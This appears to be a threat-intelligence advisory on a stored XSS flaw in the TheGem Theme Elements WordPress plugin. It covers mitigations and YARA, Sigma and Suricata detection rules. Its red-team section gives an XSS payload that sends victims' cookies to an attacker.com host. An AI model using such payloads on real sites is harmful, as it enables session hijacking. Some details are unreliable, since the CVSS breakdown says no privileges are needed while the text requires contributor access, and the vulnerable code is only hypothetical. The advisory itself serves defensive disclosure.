CVE-2025-62044

Executive Summary

CVE-2025-62044 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the TheGem Theme Elements (for WPBakery) plugin, developed by CodexThemes for the WordPress ecosystem. The flaw exists in versions from n/a through 5.10.5.1, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious scripts that execute in the context of other users' browsers when they view compromised content. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 6.5 (Medium). No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and commercial marketplaces. Users are advised to monitor for updates from CodexThemes and apply patches immediately upon release. The plugin's reliance on WPBakery Page Builder increases the attack surface, as both components must be kept up-to-date.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated users can trigger the stored XSS if the vulnerable input is exposed to public-facing forms.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited content manipulation.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score (0.0%) reduce immediate risk. However, the potential for account takeover in a WordPress environment warrants prompt attention.

Deep Dive & Mechanics

The vulnerability lies in the thegem-elements plugin, which extends WPBakery Page Builder with custom elements. The plugin fails to sanitize or escape user-supplied input before rendering it in the browser. Specifically, when a user creates or edits content using a vulnerable element (e.g., a testimonial, team member, or portfolio item), the input is stored in the WordPress database without proper neutralization. When another user (including administrators) views the page, the malicious script executes.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates a new post/page using a vulnerable TheGem element.
2. The attacker injects a payload into an input field (e.g., name, description, or custom CSS class).
3. The payload is stored in the database without sanitization.
4. When an administrator or other user views the page, the script executes in their browser.
5. The attacker can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or print functions to output user data without applying esc_html(), esc_attr(), or similar WordPress escaping functions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (thegem-elements/includes/shortcodes.php):

<?php
// Vulnerable: Direct output without escaping
echo '<div class="testimonial-text">' . $testimonial_text . '</div>';
?>

Patched Code (Hypothetical):

<?php
// Patched: Escaping output
echo '<div class="testimonial-text">' . esc_html( $testimonial_text ) . '</div>';
?>

The fix involves wrapping all user-supplied variables with WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with TheGem Theme Elements <= 5.10.5.1 and WPBakery Page Builder.
• Contributor-level account or higher.

Steps:

1. Log in as a contributor.
2. Create a new page using WPBakery and add a vulnerable TheGem element (e.g., "Testimonial").
3. In the "Name" field, inject the following payload:

   <script>alert(document.cookie)</script>
   

4. Publish the page.
5. As an administrator, visit the page. The script executes, displaying cookies in an alert box.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual content creation by low-privileged users.
• Look for <script> tags or event handlers in post content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to detect and block malicious input.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Host: Presence of <script> tags in WordPress wp_posts table post_content column.
• Logs: WordPress audit logs showing creation of pages/posts with suspicious content by non-admin users.
• File: Modified or injected JavaScript files in wp-content/themes/thegem/ or wp-content/plugins/thegem-elements/.

Detection Engineering

YARA Rule

rule CVE_2025_62044_TheGem_XSS {
    meta:
        description = "Detects stored XSS payloads in TheGem Theme Elements"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62044"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via TheGem Theme Elements
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with TheGem Theme Elements
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for post creation
        PostContent|contains: 
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62044 - Stored XSS in TheGem Theme Elements"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpbakery"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – Only allow trusted users to create/edit content.
3. Implement CSP – Add the following header to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com; style-src 'self' 'unsafe-inline';
   

4. Use a WAF – Deploy rules to block common XSS patterns.

Long-Term Fix:

• Apply the official patch from CodexThemes as soon as it is released.
• Update to the latest version of TheGem Theme Elements (if available).
• Conduct a security audit of all custom elements in the plugin.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.